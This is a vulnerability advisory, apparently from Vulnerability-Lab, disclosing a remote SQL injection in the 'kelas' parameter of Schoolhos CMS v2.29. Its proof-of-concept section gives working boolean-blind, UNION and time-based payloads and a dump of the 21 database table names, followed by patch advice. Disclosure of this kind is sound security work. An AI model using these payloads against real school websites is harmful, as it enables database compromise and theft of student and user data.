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6.6 KiB
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Document Title:
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===============
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Schoolhos CMS v2.29 - (kelas) Data Siswa SQL Injection Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1931
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Release Date:
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=============
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2016-11-07
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1931
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Common Vulnerability Scoring System:
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====================================
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6.7
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Product & Service Introduction:
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===============================
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Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.
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(Copy of the Vendor Homepage: http://www.schoolhos.com/ & https://sourceforge.net/projects/schoolhoscms/ )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the official Schoolhos v2_29 content management system.
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Vulnerability Disclosure Timeline:
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==================================
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2016-11-07: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A remote sql injection web vulnerability has been discovered in the official Schoolhos v2_29 content management system.
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The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.
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The sql injection vulnerability is located in the `kelas` parameter of the `index?p=siswakelas module POST method request.
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Remote attackers are able to execute own sql commands by usage of an insecure post method request through the vulnerable
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parameter of the own application. The attack vector of the vulnerability is application-side and the request method to
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inject is POST. The security vulnerability in the content management system is a classic select remote sql-injection.
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The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7.
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Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.
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Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] ./SCRIPTPATH/index.php?p=siswakelas
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Vulnerable Parameter(s):
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[+] kelas
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Proof of Concept (PoC):
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=======================
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The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction.
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For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.
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-- PoC Session Logs ---
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[+] Place: POST > Parameter: kelas
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Type: boolean-based blind
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Title: AND boolean-based blind - WHERE or HAVING clause
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Payload: kelas=1' AND 4945=4945 AND 'SfWY'='SfWY
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Type: UNION query
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Title: MySQL UNION query (NULL) - 3 columns
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Payload: kelas=-2062' UNION ALL SELECT NULL,CONCAT(0x71736b6271,0x43746d4846536767524d,0x716b6d6171),NULL#
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Type: AND/OR time-based blind
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Title: MySQL > 5.0.11 AND time-based blind
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Payload: kelas=1' AND SLEEP(5) AND 'Wqrd'='Wqrd
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---
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[21 tables]
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+-----------------+
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| sh_agenda |
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| sh_album |
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| sh_berita |
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| sh_buku_tamu |
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| sh_galeri |
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| sh_guru_staff |
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| sh_info_sekolah |
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| sh_jabatan |
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| sh_kategori |
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| sh_kelas |
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| sh_komentar |
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| sh_mapel |
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| sh_materi |
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| sh_pengaturan |
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| sh_pengumuman |
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| sh_psb |
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| sh_sidebar |
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| sh_siswa |
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| sh_statistik |
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| sh_tema |
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| sh_users |
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+-----------------+
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Solution - Fix & Patch:
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=======================
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The sql-injection vulnerability in the `kelas` parameter of the `index.php` file POST method request can be patched by usage of a secure
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prepared statement. Parse the parameter and encode the values to a secure format to prevent further
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sql-injection attacks. Escape the parameter and disallow usage of special chars.
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Security Risk:
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==============
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The security risk of the remote sql-injection web vulnerability in the schoolhos content management system is estimated as high. (CVSS 6.7)
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Lawrence Amer (www.vulnerability-lab.com/show.php?user=Lawrence Amer)
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Disclaimer & Information:
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=========================
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or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
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in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
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deface websites, hack into databases or trade with stolen data.
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Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
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